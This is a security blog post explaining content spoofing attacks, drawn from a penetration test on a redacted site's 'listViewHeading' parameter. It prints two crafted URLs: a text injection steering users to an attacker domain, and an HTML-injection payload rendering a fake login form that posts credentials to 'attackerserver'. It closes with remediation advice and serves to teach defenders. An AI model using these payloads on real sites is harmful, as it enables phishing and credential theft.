Content Spoofing Attack
Hi Folks!
This is my 17th blog on web application security penetration testing. In this blog I will explain about Content Spoofing Attack. In my last blog, I have explained about “How I was able to found critical vulnerability in 5 minutes in a private program?”. Hope everyone liked it. If you haven’t read it yet please follow along.
What is Content Spoofing Attack?
As per OWASP definition, Content spoofing, also referred to as content injection, “arbitrary text injection” or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user.
This presents the user with a modified page under the context of the trusted domain. This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user’s trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.
Attack Type: Client-Side
I have came across scenario where application was dealing with below endpoint. To respect confidentiality let’s mask the domain with redacted.com
Attack Vector: listViewHeading Parameter
I have modified value of listViewHeading parameter to some random malicious message like, “Website is under control by attacker”.
Notice, Same message is getting displayed on Web Page.
Impact:
An attacker can use text injection vulnerability to present a customized message on the application that can phish users into believing that the message is legitimate. The intent is typical to tick victims, although sometimes the actual purpose may be to simply misrepresent the organization or an individual. This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user’s trust.
Case 1: Text Injection:
Below are some steps for easy Text Injection exploitation.
- An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock
- The attacker identifies a vulnerable parameter
- The attacker crafts a malicious link by slightly modifying a valid request
- The link containing the modified request is sent to a user and they clicks the link
- A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website.
Imagine the impact if below message is prepared by an attacker an feed it to several application user’s
https://www.redacted.com/webmodule/listViewCommon.do?actioncondition=LISTVIEW&listViewHeading=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.attacker.com+until+we+further+announced+for+update.
Case 2: HTML Injection
Attacker can also spoof Login form by exploiting content spoofing in conjunction with HTML injection. Below are steps to exploit HTML Injection through Content Spoofing.
- Attacker discovers injection vulnerability and decides to spoof a login form
- Attacker crafts malicious link, including their injected HTML content, and sends it to a user via email
- The user visits the page due to the page being located within a trusted domain
- The attacker’s injected HTML is rendered and presented to the user asking for a username and password
- The user enters a username and password, which are both sent to the attackers server.
https://www.redacted.com/webmodule/listViewCommon.do?actioncondition=LISTVIEW&listViewHeading=<h3>Please Enter Your Username and Password to Proceed:</h3><form method=”POST”
action=”http://attackerserver/login.php">Username: <input type=”text” name=”username” /><br />Password: <input type=”password”
name=”password” /><br /><input type=”submit” value=”Login” /></form><!- -
Recommendation:
The application should only accept the values and types that are defined for parameters and should be checked at the server-side whether there is change content, if there is change, then the application should reject that request. Also, never construct and send messages via URL in the page response. Prefer using messages predefined in a property file.
References:
Please do like and follow for more reads!
Thanks!